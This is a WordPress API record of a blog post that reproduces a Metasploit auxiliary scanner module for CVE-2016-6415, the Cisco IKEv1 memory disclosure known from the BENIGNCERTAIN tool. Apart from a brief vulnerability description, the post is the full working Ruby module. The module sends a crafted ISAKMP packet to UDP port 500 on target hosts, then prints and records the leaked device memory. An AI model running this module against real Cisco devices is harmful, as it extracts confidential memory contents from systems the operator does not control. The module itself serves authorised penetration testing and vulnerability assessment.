{"id":59315,"date":"2024-09-01T01:50:14","date_gmt":"2024-08-31T22:50:14","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180932\/cisco_ike_benigncertain.rb.txt"},"modified":"2024-09-01T01:50:14","modified_gmt":"2024-08-31T22:50:14","slug":"cisco-ike-information-disclosure","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/cisco-ike-information-disclosure\/","title":{"rendered":"Cisco IKE Information Disclosure"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Auxiliary::Scanner<br \/>include Msf::Auxiliary::Report<\/p>\n<p>def initialize(info = {})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Cisco IKE Information Disclosure&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>A vulnerability in Internet Key Exchange version 1 (IKEv1) packet<br \/>processing code in Cisco IOS, Cisco IOS XE, and Cisco IOS XR Software<br \/>could allow an unauthenticated, remote attacker to retrieve memory<br \/>contents, which could lead to the disclosure of confidential information.<\/p>\n<p>The vulnerability is due to insufficient condition checks in the part<br \/>of the code that handles IKEv1 security negotiation requests.<br \/>An attacker could exploit this vulnerability by sending a crafted IKEv1<br \/>packet to an affected device configured to accept IKEv1 security<br \/>negotiation requests. A successful exploit could allow the attacker<br \/>to retrieve memory contents, which could lead to the disclosure of<br \/>confidential information.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [ &#8216;Nixawk&#8217; ],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/>[ &#8216;CVE&#8217;, &#8216;2016-6415&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/github.com\/adamcaudill\/EquationGroupLeak\/tree\/master\/Firewall\/TOOLS\/BenignCertain\/benigncertain-v1110&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/tools.cisco.com\/security\/center\/content\/CiscoSecurityAdvisory\/cisco-sa-20160916-ikev1&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2016-6415&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/musalbas.com\/2016\/08\/18\/equation-group-benigncertain.html&#8217; ]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2016-09-29&#8217;<br \/>))<\/p>\n<p>register_options(<br \/>[<br \/>Opt::RPORT(500),<br \/>OptPath.new(&#8216;PACKETFILE&#8217;,<br \/>[ true, &#8216;The ISAKMP packet file&#8217;, File.join(Msf::Config.data_directory, &#8216;exploits&#8217;, &#8216;cve-2016-6415&#8217;, &#8216;sendpacket.raw&#8217;) ])<br \/>])<br \/>end<\/p>\n<p>def run_host(ip)<br \/>begin<br \/>isakmp_pkt = File.read(datastore[&#8216;PACKETFILE&#8217;])<br \/>peer = &#8220;#{ip}:#{datastore[&#8216;RPORT&#8217;]}&#8221;<\/p>\n<p>udp_sock = Rex::Socket::Udp.create(<br \/>{<br \/>&#8216;Context&#8217; =&gt; { &#8216;Msf&#8217; =&gt; framework, &#8216;MsfExploit&#8217; =&gt; self }<br \/>}<br \/>)<\/p>\n<p>add_socket(udp_sock)<\/p>\n<p>udp_sock.sendto(isakmp_pkt, ip, datastore[&#8216;RPORT&#8217;].to_i)<br \/>res = udp_sock.get(3)<br \/>return unless res &amp;&amp; res.length &gt; 36 # ISAKMP + 36 -&gt; Notitication Data&#8230;<\/p>\n<p># Convert non-printable characters to periods<br \/>printable_data = res.gsub(\/[^[:print:]]\/, &#8216;.&#8217;)<\/p>\n<p># Show abbreviated data<br \/>vprint_status(&#8220;Printable info leaked:\\n#{printable_data}&#8221;)<\/p>\n<p>chars = res.unpack(&#8216;C*&#8217;)<br \/>len = (chars[30].to_s(16) + chars[31].to_s(16)).hex<\/p>\n<p>return if len &lt;= 0<br \/>print_good(&#8220;#{peer} &#8211; IKE response with leak&#8221;)<br \/>report_vuln({<br \/>:host =&gt; ip,<br \/>:port =&gt; datastore[&#8216;RPORT&#8217;],<br \/>:proto =&gt; &#8216;udp&#8217;,<br \/>:name =&gt; self.name,<br \/>:refs =&gt; self.references,<br \/>:info =&gt; &#8220;Vulnerable to Cisco IKE Information Disclosure&#8221;<br \/>})<\/p>\n<p># NETWORK may return the same packet data.<br \/>return if res.length &lt; 2500<br \/>pkt_md5 = ::Rex::Text.md5(isakmp_pkt[isakmp_pkt.length-2500, isakmp_pkt.length])<br \/>res_md5 = ::Rex::Text.md5(res[res.length-2500, res.length])<\/p>\n<p>print_warning(&#8220;#{peer} &#8211; IKE response is same to payload data&#8221;) if pkt_md5 == res_md5<br \/>rescue<br \/>ensure<br \/>udp_sock.close<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Auxiliary::Scannerinclude Msf::Auxiliary::Report def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Cisco IKE Information Disclosure&#8217;,&#8216;Description&#8217; =&gt; %q{A vulnerability in Internet Key Exchange version 1 (IKEv1) packetprocessing code in Cisco IOS, Cisco IOS XE, and Cisco IOS XR Softwarecould allow an unauthenticated, remote attacker to retrieve memorycontents, &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59315","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59315","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59315"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59315\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59315"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59315"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59315"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}